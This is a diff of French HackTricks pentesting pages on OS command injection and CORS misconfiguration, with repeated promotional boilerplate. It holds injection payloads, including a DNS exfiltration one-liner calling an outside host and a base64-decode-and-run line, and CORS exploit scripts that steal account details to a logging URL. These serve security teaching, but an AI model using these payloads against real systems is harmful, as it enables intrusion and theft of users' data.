* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Obtenez un accès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
|
||||
Accédez-y dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## Qu'est-ce que l'injection de commandes ?
|
||||
|
||||
L'injection de commandes dans le système d'exploitation (également connue sous le nom d'injection de shell) est une vulnérabilité de sécurité web qui permet à un attaquant d'exécuter des commandes arbitraires du système d'exploitation (OS) sur le serveur qui exécute une application, et généralement de compromettre complètement l'application et toutes ses données. (De [ici](https://portswigger.net/web-security/os-command-injection)).
|
||||
L'injection de commandes OS (également connue sous le nom d'injection de shell) est une vulnérabilité de sécurité web qui permet à un attaquant d'exécuter des commandes arbitraires du système d'exploitation (OS) sur le serveur qui exécute une application, et typiquement de compromettre complètement l'application et toutes ses données. (Depuis [ici](https://portswigger.net/web-security/os-command-injection)).
|
||||
|
||||
### Contexte
|
||||
|
||||
Selon **où votre entrée est injectée**, vous devrez peut-être **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes.
|
||||
Selon **où votre entrée est injectée**, vous pourriez avoir besoin de **terminer le contexte cité** (en utilisant `"` ou `'`) avant les commandes.
|
||||
|
||||
## Injection/Exécution de commandes
|
||||
## Injection/Exécution de Commandes
|
||||
```bash
|
||||
#Both Unix and Windows supported
|
||||
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||||
|
@ -46,9 +48,9 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
|||
> /var/www/html/out.txt #Try to redirect the output to a file
|
||||
< /etc/passwd #Try to send some input to the command
|
||||
```
|
||||
### **Limitations** Contournées
|
||||
### **Contournements** de limitations
|
||||
|
||||
Si vous essayez d'exécuter des **commandes arbitraires à l'intérieur d'une machine Linux**, vous serez intéressé de lire à propos de ces **contournements** :
|
||||
Si vous essayez d'exécuter **des commandes arbitraires dans une machine linux**, vous serez intéressé de lire à propos de ces **Contournements :**
|
||||
|
||||
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
|
||||
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
|
@ -62,7 +64,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
|
|||
```
|
||||
### Paramètres
|
||||
|
||||
Voici les 25 principaux paramètres qui pourraient être vulnérables à l'injection de code et à des vulnérabilités similaires de RCE (à partir du [lien](https://twitter.com/trbughunters/status/1283133356922884096)) :
|
||||
Voici les 25 principaux paramètres qui pourraient être vulnérables à l'injection de code et à des vulnérabilités similaires de RCE (exécution de code à distance) (source [lien](https://twitter.com/trbughunters/status/1283133356922884096)) :
|
||||
```
|
||||
?cmd={payload}
|
||||
?exec={payload}
|
||||
|
@ -116,12 +118,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
|||
```
|
||||
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||||
```
|
||||
Outils en ligne pour vérifier les exfiltrations de données basées sur DNS :
|
||||
Outils en ligne pour vérifier l'exfiltration de données basée sur DNS :
|
||||
|
||||
* dnsbin.zhack.ca
|
||||
* pingb.in
|
||||
|
||||
### Contournement des filtres
|
||||
### Contournement de filtrage
|
||||
|
||||
#### Windows
|
||||
```
|
||||
|
@ -134,7 +136,7 @@ powershell C:**2\n??e*d.*? # notepad
|
|||
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Liste de détection de force brute
|
||||
## Liste de détection de Brute-Force
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
||||
|
||||
|
@ -146,20 +148,22 @@ powershell C:**2\n??e*d.*? # notepad
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour créer et **automatiser facilement des flux de travail** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) pour construire et **automatiser des workflows** facilement, alimentés par les outils communautaires **les plus avancés**.\
|
||||
Accédez-y dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
|
|
@ -1,22 +1,24 @@
|
|||
# CORS - Mauvaises configurations et contournement
|
||||
# CORS - Mauvaises configurations & Contournement
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Qu'est-ce que CORS ?
|
||||
|
||||
La norme CORS (partage de ressources entre origines multiples) est nécessaire car elle **permet aux serveurs de spécifier qui peut accéder à ses ressources** et quelles **méthodes de requête HTTP sont autorisées** à partir de ressources externes.
|
||||
La norme CORS (Cross-origin resource sharing) est nécessaire car elle **permet aux serveurs de spécifier qui peut accéder à ses ressources** et quelles **méthodes de requête HTTP sont autorisées** depuis des ressources externes.
|
||||
|
||||
Une politique de **même origine** exige que le **serveur demandeur** d'une ressource et le serveur où se trouve la **ressource** utilisent le même protocole ([http://), nom de domaine](http://\), nom de domaine) et le même **port** (80). Ensuite, si le serveur force la politique de même origine, seules les pages web du même domaine et du même port pourront accéder aux ressources.
|
||||
Une politique de **même origine** exige que le **serveur demandant** une ressource et le serveur où se trouve la **ressource** utilisent le même protocole ([http://),domain](http://\),domain) (internal-web.com) et le même **port** (80). Ainsi, si le serveur impose la politique de même origine, seules les pages web du même domaine et port pourront accéder aux ressources.
|
||||
|
||||
Le tableau suivant montre comment la politique de même origine sera appliquée dans `http://normal-website.com/example/example.html` :
|
||||
|
||||
|
@ -29,34 +31,34 @@ Le tableau suivant montre comment la politique de même origine sera appliquée
|
|||
| `http://www.normal-website.com/example/` | Non : domaine différent |
|
||||
| `http://normal-website.com:8080/example/` | Non : port différent\* |
|
||||
|
||||
\*_Internet Explorer autorisera cet accès car IE ne prend pas en compte le numéro de port lors de l'application de la politique de même origine._
|
||||
\*_Internet Explorer autorisera cet accès car IE ne tient pas compte du numéro de port lors de l'application de la politique de même origine._
|
||||
|
||||
### En-tête `Access-Control-Allow-Origin`
|
||||
|
||||
La spécification de `Access-Control-Allow-Origin` permet **plusieurs origines**, ou la valeur **`null`**, ou le joker **`*`**. Cependant, **aucun navigateur ne prend en charge plusieurs origines** et il y a des **restrictions** sur l'utilisation du **joker** `*`. (_Le joker ne peut être utilisé seul, cela échouera `Access-Control-Allow-Origin: https://*.normal-website.com` et il ne peut pas être utilisé avec_ _Access-Control-Allow-Credentials: true_)
|
||||
La spécification de `Access-Control-Allow-Origin` permet **plusieurs origines**, ou la valeur **`null`**, ou le joker **`*`**. Cependant, **aucun navigateur ne prend en charge plusieurs origines** et il existe des **restrictions** sur l'utilisation du joker **`*`**.(_Le joker ne peut être utilisé seul, cela échouera `Access-Control-Allow-Origin: https://*.normal-website.com` et il ne peut pas être utilisé avec_ _Access-Control-Allow-Credentials: true_)
|
||||
|
||||
Cet en-tête est **renvoyé par un serveur** lorsqu'un site Web demande une ressource inter-domaines, avec un en-tête `Origin` ajouté par le navigateur.
|
||||
Cet en-tête est **retourné par un serveur** lorsqu'un site web demande une ressource cross-domain, avec un en-tête `Origin` ajouté par le navigateur.
|
||||
|
||||
### En-tête `Access-Control-Allow-Credentials`
|
||||
|
||||
Le comportement **par défaut** des demandes de ressources inter-domaines est que les **demandes** sont **transmises sans informations d'identification** telles que les cookies et l'en-tête d'autorisation. Cependant, le serveur inter-domaines peut **autoriser la lecture** de la **réponse** lorsque les **informations d'identification** sont **transmises** en définissant l'en-tête CORS **`Access-Control-Allow-Credentials`** sur **`true`**.
|
||||
Le comportement **par défaut** des requêtes de ressources cross-origin est que les **requêtes** soient **transmises sans identifiants** comme les cookies et l'en-tête d'autorisation. Cependant, le serveur cross-domain peut **permettre la lecture** de la **réponse** lorsque les **identifiants** sont **transmis** en définissant l'en-tête CORS **`Access-Control-Allow-Credentials`** à **`true`**.
|
||||
|
||||
Si la valeur est définie sur `true`, le navigateur enverra des informations d'identification (cookies, en-têtes d'autorisation ou certificats client TLS).
|
||||
Si la valeur est définie sur `true`, alors le navigateur enverra des identifiants (cookies, en-têtes d'autorisation ou certificats clients TLS).
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||||
console.log(xhr.responseText);
|
||||
}
|
||||
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
|
||||
console.log(xhr.responseText);
|
||||
}
|
||||
xhr.open('GET', 'http://example.com/', true);
|
||||
xhr.withCredentials = true;
|
||||
}
|
||||
xhr.open('GET', 'http://example.com/', true);
|
||||
xhr.withCredentials = true;
|
||||
xhr.send(null);
|
||||
```
|
||||
|
||||
```javascript
|
||||
fetch(url, {
|
||||
credentials: 'include'
|
||||
credentials: 'include'
|
||||
})
|
||||
```
|
||||
|
||||
|
@ -68,25 +70,25 @@ xhr.setRequestHeader('Content-Type', 'application/xml');
|
|||
xhr.onreadystatechange = handler;
|
||||
xhr.send('<person><name>Arun</name></person>');
|
||||
```
|
||||
### Requête préalable
|
||||
### Requête préalable (pre-flight)
|
||||
|
||||
Dans certaines circonstances, lorsqu'une requête entre domaines est :
|
||||
Dans certaines circonstances, lorsqu'une requête inter-domaines :
|
||||
|
||||
* inclut une **méthode HTTP non standard (HEAD, GET, POST)**
|
||||
* inclut de nouveaux **en-têtes**
|
||||
* inclut une valeur d'en-tête **Content-Type spéciale**
|
||||
* inclut de **nouveaux en-têtes**
|
||||
* inclut une valeur spéciale de l'en-tête **Content-Type**
|
||||
|
||||
{% hint style="info" %}
|
||||
**Vérifiez** [**dans ce lien**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) **les conditions d'une requête pour éviter l'envoi d'une requête préalable**
|
||||
**Vérifiez** [**dans ce lien**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\_requests) **les conditions d'une requête pour éviter l'envoi d'une requête préalable (pre-flight)**
|
||||
{% endhint %}
|
||||
|
||||
la requête entre domaines est précédée d'une **requête** utilisant la méthode **`OPTIONS`**, et le protocole CORS nécessite une vérification initiale des **méthodes et des en-têtes autorisés avant de permettre la requête entre domaines**. Cela s'appelle la **vérification préalable**. Le serveur **renvoie une liste de méthodes autorisées** en plus de l'**origine de confiance** et le navigateur vérifie si la méthode demandée par le site Web est autorisée.
|
||||
la requête inter-origines est précédée par une **requête** utilisant la méthode **`OPTIONS`**, et le protocole CORS nécessite une vérification initiale sur **quelles méthodes et quels en-têtes sont autorisés avant de permettre la requête inter-origines**. Cela s'appelle la **vérification préalable (pre-flight check)**. Le serveur **retourne une liste des méthodes autorisées** en plus de l'**origine de confiance** et le navigateur vérifie si la méthode du site web demandeur est autorisée.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Notez que **même si une requête préalable n'est pas envoyée** parce que les conditions de la "requête régulière" sont respectées, la **réponse doit avoir les en-têtes d'autorisation** ou le **navigateur ne pourra pas lire la réponse** de la requête.
|
||||
Notez que **même si une requête préalable n'est pas envoyée** parce que les conditions de la "requête régulière" sont respectées, la **réponse doit contenir les en-têtes d'autorisation** ou le **navigateur** **ne pourra pas lire la réponse** de la requête.
|
||||
{% endhint %}
|
||||
|
||||
Par **exemple**, ceci est une requête préalable qui cherche à **utiliser la méthode `PUT`** avec un **en-tête de requête personnalisé** appelé `Special-Request-Header`:
|
||||
Par **exemple**, voici une requête préalable qui cherche à **utiliser la méthode `PUT`** avec un **en-tête** de requête **personnalisé** appelé `Special-Request-Header` :
|
||||
```
|
||||
OPTIONS /data HTTP/1.1
|
||||
Host: <some website>
|
||||
|
@ -95,7 +97,7 @@ Origin: https://normal-website.com
|
|||
Access-Control-Request-Method: PUT
|
||||
Access-Control-Request-Headers: Special-Request-Header
|
||||
```
|
||||
Le serveur pourrait renvoyer une réponse comme celle-ci :
|
||||
Le serveur pourrait renvoyer une réponse comme la suivante :
|
||||
```
|
||||
HTTP/1.1 204 No Content
|
||||
...
|
||||
|
@ -105,26 +107,26 @@ Access-Control-Allow-Headers: Special-Request-Header
|
|||
Access-Control-Allow-Credentials: true
|
||||
Access-Control-Max-Age: 240
|
||||
```
|
||||
* `Access-Control-Allow-Headers` : Les en-têtes autorisés
|
||||
* `Access-Control-Expose-Headers` : Les en-têtes exposés
|
||||
* `Access-Control-Max-Age` : Définit une durée maximale pour mettre en cache la réponse préalable pour une réutilisation ultérieure
|
||||
* `Access-Control-Request-Headers` : L'en-tête que la requête cross-origin souhaite envoyer
|
||||
* `Access-Control-Request-Method` : La méthode que la requête cross-origin souhaite utiliser
|
||||
* `Origin` : Origine de la requête cross-origin (définie automatiquement par le navigateur)
|
||||
* `Access-Control-Allow-Headers` En-têtes autorisés
|
||||
* `Access-Control-Expose-Headers`
|
||||
* `Access-Control-Max-Age` Définit un délai maximal pour la mise en cache de la réponse de pré-vol pour réutilisation
|
||||
* `Access-Control-Request-Headers` L'en-tête que la requête cross-origin souhaite envoyer
|
||||
* `Access-Control-Request-Method` La méthode que la requête cross-origin souhaite utiliser
|
||||
* `Origin` Origine de la requête cross-origin (Défini automatiquement par le navigateur)
|
||||
|
||||
![](../.gitbook/assets/preflight.svg)
|
||||
|
||||
Notez que généralement (selon le type de contenu et les en-têtes définis), dans une requête **GET/POST, aucune requête préalable n'est envoyée** (la requête est envoyée **directement**), mais si vous voulez accéder aux **en-têtes/corps de la réponse**, elle doit contenir un en-tête _Access-Control-Allow-Origin_ qui l'autorise.\
|
||||
**Par conséquent, CORS ne protège pas contre les attaques CSRF (mais peut être utile).**
|
||||
Notez que généralement (selon le content-type et les en-têtes définis) dans une **requête GET/POST, aucune requête de pré-vol n'est envoyée** (la requête est envoyée **directement**), mais si vous voulez accéder aux **en-têtes/corps de la réponse**, elle doit contenir un en-tête _Access-Control-Allow-Origin_ qui le permet.\
|
||||
**Par conséquent, CORS ne protège pas contre les CSRF (mais cela peut être utile).**
|
||||
|
||||
### **Requête préalable pour les requêtes de réseau local**
|
||||
### **Requêtes de réseau local Requête de pré-vol**
|
||||
|
||||
Lorsqu'une requête est envoyée à une adresse IP de réseau local, 2 en-têtes CORS supplémentaires sont envoyés :
|
||||
|
||||
* L'en-tête de requête client `Access-Control-Request-Local-Network` indique que la requête est une requête de réseau local
|
||||
* L'en-tête de réponse serveur `Access-Control-Allow-Local-Network` indique qu'une ressource peut être partagée en toute sécurité avec des réseaux externes
|
||||
|
||||
Une **réponse valide autorisant la requête de réseau local** doit également contenir dans la réponse l'en-tête `Access-Controls-Allow-Local_network: true` :
|
||||
Une **réponse valide permettant la requête de réseau local** doit également avoir dans la réponse l'en-tête `Access-Controls-Allow-Local_network: true` :
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
...
|
||||
|
@ -136,104 +138,102 @@ Content-Length: 0
|
|||
...
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Notez que l'adresse IP linux **0.0.0.0** fonctionne pour **contourner** ces exigences pour accéder à localhost car cette adresse IP n'est pas considérée comme "locale".
|
||||
Notez que l'adresse IP **0.0.0.0** sous Linux fonctionne pour **contourner** ces exigences pour accéder à localhost car cette adresse IP n'est pas considérée comme "locale".
|
||||
|
||||
Il est également possible de **contourner les exigences du réseau local** si vous utilisez l'**adresse IP publique d'un point de terminaison local** (comme l'adresse IP publique du routeur). Car dans plusieurs cas, même si l'**adresse IP publique** est utilisée, si elle est **du réseau local**, l'accès sera autorisé.
|
||||
Il est également possible de **contourner les exigences du réseau local** si vous utilisez **l'adresse IP publique d'un point de terminaison local** (comme l'adresse IP publique du routeur). Car dans plusieurs occasions, même si l'**adresse IP publique** est accédée, si c'est **depuis le réseau local**, l'accès sera accordé.
|
||||
|
||||
|
||||
{% endhint %}
|
||||
|
||||
## Configurations mal configurées exploitables
|
||||
## Configurations exploitables
|
||||
|
||||
Notez que la plupart des **attaques réelles nécessitent que `Access-Control-Allow-Credentials`** soit défini sur **`true`** car cela permettra au navigateur d'envoyer les informations d'identification et de lire la réponse. Sans informations d'identification, de nombreuses attaques deviennent sans objet ; cela signifie que vous ne pouvez pas utiliser les cookies d'un utilisateur, il n'y a donc souvent rien à gagner en faisant en sorte que leur navigateur émette la demande plutôt que de l'émettre vous-même.
|
||||
Remarquez que la plupart des **attaques réelles nécessitent que `Access-Control-Allow-Credentials`** soit défini sur **`true`** car cela permettra au navigateur d'envoyer les identifiants et de lire la réponse. Sans identifiants, de nombreuses attaques deviennent sans objet ; cela signifie que vous ne pouvez pas utiliser les cookies d'un utilisateur, donc il n'y a souvent rien à gagner à faire émettre la requête par leur navigateur plutôt que de la faire vous-même.
|
||||
|
||||
Une exception notable est lorsque l'emplacement réseau de la **victime fonctionne comme une sorte d'authentification**. Vous pouvez utiliser le navigateur d'une victime comme proxy pour contourner l'authentification basée sur l'adresse IP et accéder aux applications intranet. En termes d'impact, cela est similaire au rebinding DNS, mais beaucoup moins compliqué à exploiter.
|
||||
Une exception notable est lorsque **la localisation réseau de la victime fonctionne comme une sorte d'authentification.** Vous pouvez utiliser le navigateur d'une victime comme un proxy pour contourner l'authentification basée sur l'IP et accéder aux applications de l'intranet. En termes d'impact, cela est similaire au DNS rebinding, mais beaucoup moins compliqué à exploiter.
|
||||
|
||||
### Réflexion de l'`Origin` dans `Access-Control-Allow-Origin`
|
||||
### `Origin` reflété dans `Access-Control-Allow-Origin`
|
||||
|
||||
Dans le monde réel, cela ne peut pas arriver car **ces 2 valeurs des en-têtes sont interdites ensemble**.\
|
||||
Il est également vrai que de nombreux développeurs veulent **autoriser plusieurs URL dans le CORS**, mais les jokers de sous-domaine ou les listes d'URL ne sont pas autorisés. Ensuite, plusieurs développeurs **génèrent** l'en-tête \*\*`Access-Control-Allow-Origin`\*\* **dynamiquement**, et à plus d'une occasion, ils copient simplement la valeur de l'en-tête Origin.
|
||||
Il est également vrai que beaucoup de développeurs veulent **permettre plusieurs URL dans le CORS**, mais les jokers de sous-domaines ou les listes d'URL ne sont pas autorisés. Ensuite, plusieurs développeurs **génèrent** l'en-tête \*\*`Access-Control-Allow-Origin`\*\* **dynamiquement**, et dans plus d'une occasion, ils copient simplement **la valeur de l'en-tête Origin**.
|
||||
|
||||
Dans ce cas, la **même vulnérabilité pourrait être exploitée.**
|
||||
Dans ce cas, **la même vulnérabilité pourrait être exploitée.**
|
||||
|
||||
Dans d'autres cas, le développeur pourrait vérifier que le **domaine** (_victimdomain.com_) **apparaît** dans l'en-tête **Origin**, puis, un attaquant peut utiliser un domaine appelé **`attackervictimdomain.com`** pour voler les informations confidentielles.
|
||||
Dans d'autres cas, le développeur pourrait vérifier que le **domaine** (_victimdomain.com_) **apparaît** dans l'en-tête **Origin**, alors, un attaquant peut utiliser un domaine appelé **`attackervictimdomain.com`** pour voler les informations confidentielles.
|
||||
```html
|
||||
<script>
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acc21f651fde5631c03665e000d90048.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
|
||||
function reqListener() {
|
||||
location='/log?key='+this.responseText;
|
||||
};
|
||||
function reqListener() {
|
||||
location='/log?key='+this.responseText;
|
||||
};
|
||||
</script>
|
||||
```
|
||||
### L'origine `null`
|
||||
|
||||
`null` est une valeur spéciale pour l'en-tête **Origin**. La spécification mentionne qu'elle est déclenchée par des redirections et des fichiers HTML locaux. Certaines applications peuvent autoriser l'origine `null` pour prendre en charge le développement local de l'application.\
|
||||
C'est pratique car **plusieurs applications autoriseront cette valeur** dans le CORS et **n'importe quel site web peut facilement obtenir l'origine null en utilisant un iframe sandboxed** :
|
||||
`null` est une valeur spéciale pour l'en-tête **Origin**. La spécification mentionne qu'elle est déclenchée par des redirections et des fichiers HTML locaux. Certaines applications peuvent autoriser l'origine `null` pour soutenir le développement local de l'application.\
|
||||
C'est intéressant car **plusieurs applications autoriseront cette valeur** dans le CORS et n'importe quel **site web peut facilement obtenir l'origine null en utilisant un iframe sandboxé** :
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
function reqListener() {
|
||||
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
var req = new XMLHttpRequest();
|
||||
req.onload = reqListener;
|
||||
req.open('get','https://acd11ffd1e49837fc07b373a00eb0047.web-security-academy.net/accountDetails',true);
|
||||
req.withCredentials = true;
|
||||
req.send();
|
||||
function reqListener() {
|
||||
location='https://exploit-accd1f8d1ef98341c0bc370201c900f2.web-security-academy.net//log?key='+encodeURIComponent(this.responseText);
|
||||
};
|
||||
</script>"></iframe>
|
||||
```
|
||||
|
||||
```html
|
||||
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
|
||||
var req = new XMLHttpRequest();
|
||||
